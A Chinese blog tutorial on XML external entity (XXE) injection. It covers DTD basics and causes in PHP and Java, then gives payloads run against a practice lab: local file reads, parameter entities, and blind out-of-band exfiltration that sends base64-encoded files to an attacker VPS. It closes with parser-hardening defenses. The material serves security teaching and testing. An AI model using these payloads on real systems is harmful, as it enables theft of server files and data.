XXE - XML外部实体注入攻击

网络安全-XXE(XML外部实体注入)原理、攻击及防御_c# 如何防止xml外部实体注入 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。内部声明DTD引用外部DTD文档内部声明实体ENTITY 实体名称 "实体的值">引用外部实体ENTITY 实体名称 SYSTEM "URI">ENTITY 实体名称 PUBLIC "public\_ID" "URI"> 阅读详情

XXE漏洞是什么?

xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;

XXE漏洞的原理

漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。

  • php xxe

php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。

  • java xxe

如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。

XXE漏洞的危害

  • 远程文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • dos攻击
  • ……

XXE漏洞的分类及利用

练习靶场:

GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

靶机:192.168.77.130

VPS:192.168.77.155

回显xxe:

(1)引用内部实体

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE admin[

<!ENTITY admin SYSTEM "file:///C:/Windows/win.ini">

]>

<user><username>&admin;</username><password>admin</password></user>

利用Burpsuite抓包

构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件

(2)引用外部实体

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE admin[

<!ENTITY admin SYSTEM "http://192.168.77.155/1.dtd">

]>

<user><username>&admin;</username><password>admin</password></user>

利用burpsuite抓包,并构建payload读取vps机器上的文件内容

1.dtd文件

(3)参数实体

参数实体讲解:

# f.txt

<!ENTITY % msg "<!ENTITY msg2  'test dtd 111'>">



<?xml version="1.0"?>

<!DOCTYPE admin[

<!ENTITY % msg1 SYSTEM "http://192.168.77.155/f.txt">

%msg1;

%msg;

]>

<user><username>&msg2;</username><password>admin</password></user>

类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。

利用靶场验证如下:

非回显型XXE

利用方式1:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE ANY[

<!ENTITY % remote SYSTEM "http://192.168.77.155/2.dtd">

%remote;

%all;

]>

<user><username>&send;</username><password>admin</password></user>

192.168.77.155/2.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.77.155/?content=%file;'>">

利用靶场实践如下:

1)构建payload并执行

2)查看vps上的access.log日志:

3)base64在线解码

利用方式2:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE aa[

<!ENTITY % remote SYSTEM "http://vps/2.dtd">

%remote;

%all;

%send;

]>

vps/2.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://vps/?content=%file;'>">

XXE漏洞的防御

  1. 确定使用到的第三方xml解析库版本,及时升级新版本。
  2. 升级PHP、JDK版本
  3. 在对xml解析时,禁止外部实体的引用,如
libxml_disable_entity_loader(true)

dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)

dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)

dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
……

另外,可以在菜鸟教程(runoob.com)上学习XML和DTD

XXE:XML外部实体注入攻击 XXE(XML External Entity)注入攻击是一种利用XML解析器漏洞的攻击方式。攻击者通过在XML文档中插入恶意的外部实体引用,可以读取本地文件、执行远程请求等操作,从而获取敏感信息或者实施其他攻击。 XXE攻击通常发生在使用XML解析器解析用户输入数据的应用程序中,例如Web应用程序、SOAP服务等。攻击者可以构造包含恶意外部实体引用的XML文档,并将其提交给目标系统进行解析,从而实现攻击目的。 阅读详情

相关推荐

Java代码审计-XMI注入(XXE)

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。同时每个成长路线对应的板块都有配套的视频提供:当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

二狗的博客 1976

XML注入攻击

一、XML攻击是什么? XML攻击和SQL注入类似,XML注入是将用户输入的数据当成节点处理。 二、攻击原理 攻击前提是使用XML作为存储数据的方式,在代码对xml进行查询或者修改时,用户输入的是节点,将攻击的节点保存到xml中,从而影响到程序的运行。 例如: String xml = "<username>"+request.getParameter("username")+"</username>" ...

壮乡码农 1700

XXE(XML External Entity attack)XML外部实体注入攻击

导语   XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。   尽管XXE漏洞已经...

xiaoi123的博客 2382

从原理到实战,详解XXE攻击

一站式提供xml外部实体注入攻击的相关基础概念、原理分析、实战演练、安全编码防御以及自动化防御工具。

华为云官方博客 981

XXE注入漏洞从原理到实战:XML外部实体攻击深度解析与防御

XML(可扩展标记语言)作为广泛使用的数据交换格式,其核心功能之一是支持通过DTD(文档类型定义)定义文档结构和实体。实体机制本意是提升XML文档的编写效率和复用性,允许将重复内容定义为变量。然而,当XML解析器被配置为可以加载并解析外部实体时,便引入了严重的安全风险。攻击者通过构造恶意XML数据,利用SYSTEM标识符指向外部资源(如file://、http://协议),可诱使服务器端解析器执行非预期的操作。这项技术的安全价值在于,它能够将看似无害的数据解析过程,转变为读取服务器敏感文件、发起内部网络请求

weixin_33997389的博客 412

XML外部实体注入(XXE)漏洞:原理、攻击与防御实战指南

XML(可扩展标记语言)作为一种广泛使用的数据存储与传输格式,其核心特性包括通过文档类型定义(DTD)定义文档结构。DTD中的实体(Entity)机制允许定义内部或外部数据引用,其中外部实体可通过URI指向外部资源。当应用程序配置不当,XML解析器在解析用户可控的XML输入时,若未禁用外部实体加载功能,攻击者便能利用此特性实施XML外部实体注入(XXE)攻击。该漏洞的技术价值在于其强大的横向移动与情报收集能力,攻击者可通过构造恶意外部实体,读取服务器本地文件、发起内部网络请求(SSRF),甚至在某些条件下实

weixin_33708432的博客 320

XML之XXE漏洞 XML外部实体注入攻击

XXE:XML External Entity即外部实体,从安全角度理解成XML External attack外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者通过ENTITY伪造外部实体构成,比如PHP中simplexml_load默认情况下会解析外部实体,XXE标志性函数simplexml_load_string()

qq_60115503的博客 1508

XXE外部实体注入攻击(含XML,DTD详解)

DTD是一套关于标记符的语法规则,你可以简单理解为XML文档的语法规则,它规定着XML文档有哪些标签,它可以写在XML文档内部,也可以与XML文档分开来写为两个文档一个XML文件,再引入外部DTD文件;DTD内有关于实体定义的语法规则,XXE的漏洞爆发的根源就在于XML文档内关于DTD定义外部实体的部分,简单了解一下实体的概念。

weixin_73180072的博客 1549

网络安全-XXE(XML外部实体注入)原理、攻击及防御

目录 前言 简介 原理 攻击 防御 禁用外部实体 过滤用户提交的XML数据 前言 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 内部声明DTD <!DOCTYPE 根元素 [元素声明]>引用外部DTD文档 <!DOCTYPE 根元素 SYSTE

关注网络安全、云原生安全 5969

XXE(外部实体注入攻击)

XXE什么是XXE利用方法进阶学习防御理论上的防御措施实践有效的防御措施 什么是XXE XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。 利用方法 file:///C:/Windows/win.ini &lt;?xml versi...

sh0rk的博客 1万+

XML注入漏洞

一、漏洞描述 XML外部实体注入攻击,无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞,开发人员在处理XML时需谨慎,在用户可控的XML数据里禁止引用外部实体。

武天旭的博客 2393

[轉]XXE(XML External Entity attack)XML外部实体注入攻击

原文地址:https://www.freebuf.com/column/181064.html 作者:i春秋学院 References:https://gist.github.com/AlainODea/1779a7c6a26a5c135280bc9b3b71868fhttps://github.com/OWASP/CheatSheetSeries/blob/master/cheatshee...

622

农业杂草检测——甜菜杂草目标检测数据集

甜菜田中常见的杂草种类繁多,主要有稗草、狗尾草、芦苇、灰藜等。•稗草:一年生草本植物,和稻子外形极为相似。秆直立,光滑无毛。圆锥花序主轴具角棱,粗糙;小穗密集于穗轴的一侧,具极短柄或近无柄。花果期 7 - 10月。生长在稻田里、沼泽、沟渠旁、低洼荒地等。•狗尾草:又叫莠,因穗形像狗尾巴而得名。秆疏丛生,直立或基部膝曲上升。叶片条状披针形,叶鞘松弛,光滑,鞘口有毛;叶舌毛状。圆锥花序呈圆柱状,直立或稍弯垂,刚毛绿色或变紫色。夏、秋采收,晒干。常生长在麦田、谷子、玉米、棉花、豆类、花生、薯类、蔬菜、甜菜、马铃薯

qq_38220914的博客 1139

017_Web安全实战指南:XML外部实体注入(XXE)漏洞原理、攻击技术与全面防御策略

XML外部实体注入(XML External Entity Injection, XXE)是一种常见且危害严重的Web安全漏洞。根据2025年最新的OWASP Top 10安全风险报告,XXE漏洞仍然是Web应用程序面临的主要安全威胁之一。尽管这一漏洞已经存在多年,但由于XML在企业级应用和Web服务中的广泛使用,以及开发人员对XML安全配置的忽视,XXE漏洞仍然普遍存在。

欢迎来到智能安全前线!这里是AI与信息安全交汇之地。我们以代码为武器,深入大模型攻防实战,破解系统漏洞。追踪OpenAI、Meta前沿动态,用红蓝对抗思维,锻造智能时代的坚盾与利矛。 495

《深入浅出图神经网络:GNN原理解析》学习笔记

期末考完了,该上道了 目录一、图的概述1.基本概念2.图的存储和遍历3.应用分类二、神经网络基础1.机器学习2.神经网络三、卷积神经网络(CNN)1.卷积与池化2.卷积神经网络四、表示学习1.意义2.自编码器五、图信号处理与图卷积神经网络1.矩阵计算前置知识2.图信号与图的拉普拉斯矩阵3.图傅里叶变换4.图滤波器(Graph Filter)5.图卷积神经网络(GCN) 一、图的概述 1.基本概念 1.顶点(Vertex)表示研究的对象,边(Edge)表示两个对象之间特定的研究关系 2.图为顶点和边的集合.

且视他人之疑目如盏盏鬼火,大胆地去走你的夜路 2045

开源低场MRI系统构建:从原理到三天实现

磁共振成像(MRI)作为现代医学影像的核心技术,其高场强系统存在成本和技术门槛问题。低场MRI通过开源硬件和模块化设计实现技术民主化,采用永磁体替代超导磁体可大幅降低系统复杂度。本文以H型永磁体设计为例,结合MaRCoS开源控制库和PyPulseq脉冲序列工具,展示了如何快速构建教育级MRI系统。关键技术包括遗传算法优化的匀场方案、CNC加工的梯度线圈,以及基于Red Pitaya的SDR控制架构。这种轻量化方案特别适合医学物理教学和脉冲序列开发验证,为MRI技术在资源有限地区的普及提供了新思路。

weixin_30470643的博客 449

XML外部实体注入攻击XXE

(可选)、

arissa666的博客 719

Lumerical-定向耦合器1

概述:本文章使用FDE求解器对定向耦合器进行了数值仿真,讨论了耦合器的间距相关性,耦合长度相关性,波长相关性。讨论了脊形波导和条形波导两种情况。

m0_61776728的博客 4611
上一篇: 【渗透测试基础】文件读取
下一篇: PHP xml实体注入
^^_candice
博客等级 码龄10年 3粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值